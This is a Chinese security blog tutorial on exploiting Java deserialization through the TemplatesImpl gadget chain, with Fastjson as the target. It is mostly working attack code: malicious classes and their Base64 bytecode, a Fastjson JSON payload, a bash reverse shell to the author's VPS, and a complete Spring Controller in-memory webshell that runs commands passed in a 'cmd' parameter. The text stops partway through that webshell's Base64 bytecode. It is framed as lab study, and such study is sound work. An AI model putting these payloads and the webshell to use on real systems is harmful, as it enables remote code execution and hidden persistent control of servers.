文章目录
前言
TemplatesImpl 利用链是 Java 反序列化漏洞利用中一条重要的利用链路,Java cc2 链也正是基于此链路。在前文《浅析JavaWeb内存马基础原理与查杀思路》和《从Log4j和Fastjson RCE漏洞认识jndi注入》中分别学习了 Java 内存马的使用和 Fastjson 反序列化基于 JNDI 注入完成 RCE 的方法,然而 Fastjson 反序列化漏洞还有一条基于 TemplatesImpl 利用链注入 Java 代码的字节码来实现 RCE 的利用链路,这个过程支持通过 TemplatesImpl 利用链直接向受害系统注入内存马,从而真正实现了无落地文件的情况下注入 Java 内存马。
也就是说通过 Java 反序列化漏洞能够实现完全无落地文件的情况下注入 Java 内存马,这也正好解决了学习前面 Java 内存马时遇到的困惑和遗留问题——“基于传统 Webshell 注入 Java 内存马需要先有传统 Webshell 文件(比如冰蝎或哥斯拉)落地,这违背了内存马的诞生就是为了解决落地文件容易被查杀的初衷”。So 本文来学习下 TemplatesImpl 利用链的基本原理,以及如何借助它实现 Fastjson 反序列化漏洞或其它 Java 反序列化漏洞场景的 RCE,尤其是如何注入 Java 内存马。
TemplatesImpl链
先给出整个 TemplatesImpl 利用链的调用栈:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
1.1 defineClass()函数
关于 Java 类加载的几个知识点:
- ClassLoader 类加载器,是 JVM 执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到 JVM 内部,然后转换为一个与目标类对应的
java.lang.Class对象实例,它可以将字节码文件 (.class文件),通过 loadClass 函数加载类名,返回一个 Class 对象; - 同时 ClassLoader 类下面存在 defineClass 方法,可以将 byte[] 字节数组信息还原成一个 Class 对象;
- javassist 技术可以动态生成字节码文件,包括了一些恶意代码文件,可进而通过 ClassLoader 类加载器将这些恶意的字节码文件转化为 java 类进行调用,达到执行恶意代码的目的。
ClassLoader 提供的 API:
package java.lang;
public abstract class ClassLoader {
public Class loadClass(String name);
protected Class defineClass(byte[] b);
public URL getResource(String name);
public Enumeration getResources(String name);
public ClassLoader getParent();
}
其中类加载阶段:
ClassLoader#loadClass(类加载,从类缓或父加载器等位置寻找类)
——> ClassLoader#findClass(寻找类,通过URL指定的方式加载字节码)
——> ClassLoader#defineClass(定义类,通过获取的字节码转换成类对象)
但由于ClassLoader#defineClass方法为 protected 修饰,因此只能通过反射进行调用。
来看看 defineClass 函数的实际应用案例,先创建一个恶意类:
package com.Tr0e.test.Deserialization.TemplatesImpl;
public class Evil{
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
通过命令行执行javac Evil.java把它编译成 Evil.classs 字节码文件 然后进行 Base64 编码(其中tr -d '\n'是为了删除换行):
λ cat Evil.class | base64 | tr -d '\n'
yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBADBjb20vVHIwZS90ZXN0L0Rlc2VyaWFsaXphdGlvbi9UZW1wbGF0ZXNJbXBsL0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAQAAQAMAAEADQAAAAIADg==
然后执行如下代码,加载上述字节码并触发命令执行:
package com.Tr0e.test.Deserialization.TemplatesImpl;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author Tr0e
*/
public class DefineClass {
public static void main(String[] args){
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBADBjb20vVHIwZS90ZXN0L0Rlc2VyaWFsaXphdGlvbi9UZW1wbGF0ZXNJbXBsL0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAQAAQAMAAEADQAAAAIADg==");
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.Tr0e.test.Deserialization.TemplatesImpl.Evil", code, 0, code.length);
yyds.newInstance();
}catch (Exception e){
e.printStackTrace();
}
}
}

以上就是ClassLoader#defineClass将 byte[] 字节数组信息还原成一个 Class 对象并触发命令执行的过程,这也是下面将讲述的 TemplatesImpl 链的核心。
1.2 Javassist库的应用
Javassist (Java Programming Assistant) 是一个为 Java 提供字节码操作的库。它允许在运行时修改 Java 字节码,从而可以在不修改源码的情况下改变类的行为。
Javassist 的主要功能包括以下几个方面:
- 动态生成类:Javassist 可以在运行时动态生成新的 Java 类,而不需要提前编写这些类的源代码。这在需要创建大量类且这些类的结构相似时特别有用。
- 修改现有类:可以在运行时修改现有的 Java 类的字节码。通过修改字节码,可以添加新的方法、删除现有方法或改变方法的实现。
- 字节码插桩:可以在现有方法中插入自定义代码,这对于性能监控、日志记录和安全检测非常有用。例如,可以在方法的开始和结束插入代码以记录方法的执行时间。
- 支持运行时注入:可以在运行时将新的代码注入到现有的类中,从而实现动态代理、AOP(面向切面编程)等高级特性。
Javassist 的使用场景:
- 框架开发:Javassist 广泛应用于开发动态代理、AOP 框架和 ORM(对象关系映射)框架。例如,Hibernate 就使用了 Javassist 来生成代理类。
- 性能监控:可以用来插入监控代码,以跟踪和记录应用程序的性能指标。
- 代码热替换:在开发和测试过程中,可以使用 Javassist 动态修改代码,而无需重新启动应用程序。
- 测试工具:可以用来生成测试类或修改类的行为,以便于编写和执行测试用例。
回顾一下《浅析JavaWeb内存马基础原理与查杀思路》, Java Agent 内存马的注入也正是采用的此技术。
以下是一个使用 Javassist 动态生成类的简单示例:
import javassist.*;
public class JavassistExample {
public static void main(String[] args) throws Exception {
// 创建一个类池
ClassPool pool = ClassPool.getDefault();
// 创建一个类
CtClass ctClass = pool.makeClass("com.example.HelloWorld");
// 创建一个方法
CtMethod ctMethod = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{}, ctClass);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{ System.out.println(\"Hello, World!\"); }");
// 将方法添加到类中
ctClass.addMethod(ctMethod);
// 将类写入文件
ctClass.writeFile("output");
// 加载并实例化生成的类
Class<?> clazz = ctClass.toClass();
Object instance = clazz.newInstance();
// 调用方法
clazz.getMethod("sayHello").invoke(instance);
}
}
此处介绍 Javassist 库的原因是,上一小节通过ClassLoader#defineClass将 byte[] 字节数组信息还原成一个 Class 对象时,需要先将恶意 java 类手动转换成 class 字节码文件,这太麻烦了,使用 Javassist 能够帮我们动态地在内存中生成目标恶意字节数组,从而精简整个流程。
先在 Maven 项目项目导入 javassist 依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
然后执行如下等效于上一小节动态加载字节码的代码:
public static void main(String[] args){
try {
ClassPool pool = ClassPool.getDefault();
//创建新类
CtClass ct = pool.makeClass("Evil");
//创建构造函数
CtConstructor cons = ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//ct.writeFile("./");
//生成字节码
byte[] code = ct.toBytecode();
//通过反射调用ClassLoader#defineClass
Method define = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class cla = (Class)define.invoke(ClassLoader.getSystemClassLoader(), "Evil", code, 0, code.length);
cla.newInstance();
}catch (Exception e){
e.printStackTrace();
}
}
同样可以触发命令执行:
1.3 TemplatesImpl链
既然ClassLoader#defineClass能将 byte[] 字节数组信息还原成一个 Class 对象,如果能找到一条利用链可以不受 defineClass 函数的 protected 限制直接调用它,且能传递我们可控的恶意字节数组,那岂不就是反序列化漏洞利用过程中传递恶意代码的绝佳路径?于是,便出现本文所要讲述 TemplatesImpl 链。
回顾本章节开篇提及的整个 TemplatesImpl 利用链的调用栈:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
参考 Y4tacker 的《[Java安全]利用TemplatesImpl执行字节码》跟踪一下代码链路。
1)在jdk1.8.0_202\src.zip!\com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java 类中可以找到一个内部类TransletClassLoader 继承了 ClassLoader,同时重写了 defineClass 函数并调用了目标函数 ClassLoader#defineClass :
TemplatesImpl 这个类简述功能就是对 xsl 格式文件生成的字节码转换成 XSLTC 模板对象,期间会处理字节码,因此重写了 defineClass 方法。
2)向上追踪 TransletClassLoader#defineClass 的调用方,发现是 TemplatesImpl#defineTransletClasses():
3)再往上跟踪谁调用了 TemplatesImpl#defineTransletClasses(),可以发现是 TemplatesImpl#getTransletInstance():
4)到此为止,要么是 Private 修饰要么就是 Protected 修饰,再往上继续追踪,发现是TemplatesImpl#newTransformer(),可以看到此时已经是 public 了:
故整体 TemplatesImpl 利用链的调用栈为:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
同时 TemplatesImpl 类还存在一个成员函数 getOutputProperties() 调用了 newTransformer():
故整条 TemplatesImpl 利用链的调用栈也可以为:
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
下面我们利用 TemplatesImpl 来加载恶意字节码。
1)首先准备一个命令执行的 Exp,写了一个无参构造方法,内容为调用 Runtime 执行一个弹出计算器的命令:
package com.Tr0e.good.deserialization;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplEvil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TemplatesImplEvil() throws Exception {
super();
Runtime.getRuntime().exec("calc");
}
}
注意这段 exp 比前面多继承了一个类 AbstractTranslet 并重写了其两个成员函数 transform(),第一个 transform 带有 SerializationHandler 参数,是为了把 XML 文档转换为另一种格式,第二个 transform 带有 DTMAxisIterator 参数,是为了对 XML 文档中的节点进行迭代。
2)编写代码,加载上面的 TemplatesImplEvil 字节码:
package com.Tr0e.good.deserialization;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplDemo {
public static void main(String[] args) throws Exception{
//cat TemplatesImplEvil.class | base64 | tr -d '\n'
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZUZW1wbGF0ZXNJbXBsRXZpbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAL2NvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAANAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAUAAQAFQANABYACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
简单解释下设置 TemplatesImpl 类几个成员变量的目的:
| 成员变量 | 赋值目的 |
|---|---|
| _bytecodes | 它的类型是byte[][],就是我们需要加载的字节码 |
| _name | _name 默认为 null,但如果为 null 的话执行到利用链中的TemplatesImpl#getTransletInstance()函数时就会直接 return,它是一个字符串变量,故随意给它赋值一个字符串即可 |
| _tfactory | _tfactory 默认为 null,但如果为 null 的话执行到利用链中的TemplatesImpl#defineTransletClasses()函数时就会报错,因为它是一个 TransformerFactoryImpl 类型的对象,所以我们只需要复制给它一个对象即可new TransformerFactoryImpl() |
执行上述代码,可成功触发命令执行:
【More】
如果使用 Javassist 动态生成字节码,同时使用 TemplatesImpl#getOutputProperties()作为入口点,那么对应的加载恶意代码的 Demo 如下:
package com.Tr0e.good.deserialization;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Field;
public class TemolatesImplDemoNew {
public static void main(String[] args) throws Exception {
// 获取CtClass容器
ClassPool classPool = ClassPool.getDefault();
// 引入AbstractTranslet路径到classpath中
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 创建CtClass对象
CtClass testCtClass = classPool.makeClass("TestCtClass");
// 设置父类为AbstractTranslet
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
// 创建空初始化构造器
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
// 插入初始化语句
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
// 获取字节数据
byte[] bytes = testCtClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "seizer");
// templates.newTransformer();
templates.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

Fastjson反序列化
《从Log4j和Fastjson RCE漏洞认识jndi注入》已经学习了通过 JNDI 注入完成 Fastjson 反序列化漏洞的利用,接下来看看如何通过 TemplatesImpl 链加载字节码实现 Fastjson 反序列化漏洞利用。
2.1 加载字节码->RCE
此处我选择在 Ubuntu 虚拟机 IDEA 的 SpringBoot 项目自行搭建 Fastjson 反序列化靶场,Java 版本和 Fastjson 版本如下:
漏洞缺陷代码如下:
@RequestMapping(value = "/fastjson/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
Object ob = JSON.parseObject(params, Object.class, Feature.SupportNonPublicField);
return ob.toString();
} catch (Exception e) {
return e.toString();
}
}
启动 SpringBoot 项目,接口访问效果如下:

注入的恶意代码为反弹 Shell 到我的 VPS 服务器:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.Runtime;
import java.lang.Process;
public class TemplatesImplEvil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TemplatesImplEvil() throws Exception {
super();
//Runtime.getRuntime().exec("gnome-calculator");
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/1xx.xxx.xxx.xxx/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
同样编译为 .class 后进行 base64 编码(Fastjson提取 byte[] 数组字段值时会进行 Base64 解码,所以我们构造 payload 时需要对_bytecodes字段进行 Base64 编码处理),发送 Payload:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAAD………………AGQ=="],
"_name": "s",
"_tfactory": {},
"_outputProperties": {}
}

成功反弹 Shell 到 VPS 服务器:
【小结】Fastjson 反序列化漏洞的 TemplatesImpl 利用链的整体思路如下:
- 构造一个 TemplatesImpl 类的反序列化字符串,其中
_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载并使用newInstance()实例化。 - 在反序列化过程中,由于
getter方法getOutputProperties()满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> EvilClass.newInstance()
【注意】但是 Fastjson 反序列化漏洞此 TemplatesImpl 利用链的限制条件也很明显且苛刻:
JSON.parseObject(params, Object.class, Feature.SupportNonPublicField);
即需要 Fastjson 进行反序列化的函数 parseObject() 中需添加属性:Feature.SupportNonPublicField(实战中纯属碰运气了),用于突破访问私有属性限制,因为 TemplatesImpl 的 _bytecodes和_name都是私有变量,所以想要反序列化这两个变量,需要设置Feature.SupportNonPublicField,否则 fastjson 默认无法序列化保护属性的变量。
【More】因为 TemplatesImpl 链在 Fastjson 反序列化漏洞利用过程中存在的明显条件限制,业界衍生了另外一条加载字节码的利用链路,即 BCEL 利用链,具体参见:《Java安全之Fastjson内网利用》。
2.2 字节码注入内存马
上面成功通过 Fastjson 反序列化漏洞直接反弹 Shell 到公网 VPS 服务器,反弹 Shell 这个动作太容易被终端安全软件(比如 HIDS)监测到了,前面通过《浅析JavaWeb内存马基础原理与查杀思路》学习了通过普通 Webshell 注入内存马来实现对目标机器的持久控制(借助内存马无文件落地、难以查杀的特点),那么我们能不能通过反序列化漏洞直接向目标机器注入内存马呢?答案是肯定的,同时这种注入内存马的方式不依赖于已落地的 Webshell,可在实现 RCE 的全程做到真正的无文件落地。
前面学习过传统 Web 应用型内存马(Servlet、Filter 内存马)、Agent 型内存马,下面演示的则是框架型内存马,即往 Spring 框架动态注册 Controller 及路由映射的 Spring Controller 型内存马。此类内存马具体的动态注册原理和逻辑分析请参考《Java安全学习:内存马 - 枫のBlog》,此处直接一个 Spring Controller 型内存马(支持数据回显)的示例代码和注释:
package com.Tr0e.good.deserialization;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author Tr0e
*/
public class InjectToController extends AbstractTranslet {
public InjectToController() throws NoSuchMethodException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("exec");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/evil");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String arg) {}
public void exec(){
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
}else{
p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
但是通过 javac 直接编译会发生大量报错:
解决方法就是 IDEA 中先本地运行携带上述 InjectToController 类的 SpringBoot 项目(随便运行 Main 即可),然后在 target 文件夹就能找到所有类的 .class 文件了:
D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ ls
InjectToController.class TemolatesImplDemoNew.class TemplatesImplDemo.class
D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ cat InjectToController.class | base64 | tr -d '\n'
yv66vgAAADQA6goAOQB6CgB7AHwIAH0LAH4AfwcAgAcAgQsABQCCBwCDCABUBwCECgAKAIUHAIYHAIcIAIgKAAwAiQcAigcAiwoAEACMBwCNCgATAI4IAI8KAAgAkAoABgCRBwCSCgAYAJMKABgAlAgAlQsAlgCXCwCYAJkIAJoIAJsKAJwAnQoADQCeCACfCgANAKAHAKEIAKIIAKMKACQAiQgApAgApQcApgoAJACnCgCoAKkKACoAqggAqwoAKgCsCgAqAK0KACoArgoAKgCvCgCwALEKALAAsgoAsACvCwCYALMHALQKADcAtQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAyTGNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL0luamVjdFRvQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAB21ldGhvZDIBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAEmluamVjdFRvQ29udHJvbGxlcgEACkV4Y2VwdGlvbnMHALcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhcmcBABJMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAEZXhlYwEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIMHALgHALkHAIcHALoHAKEHAKYHALQBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwC7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAXSW5qZWN0VG9Db250cm9sbGVyLmphdmEMADoAOwcAvAwAvQC+AQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwC/DADAAMEBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpb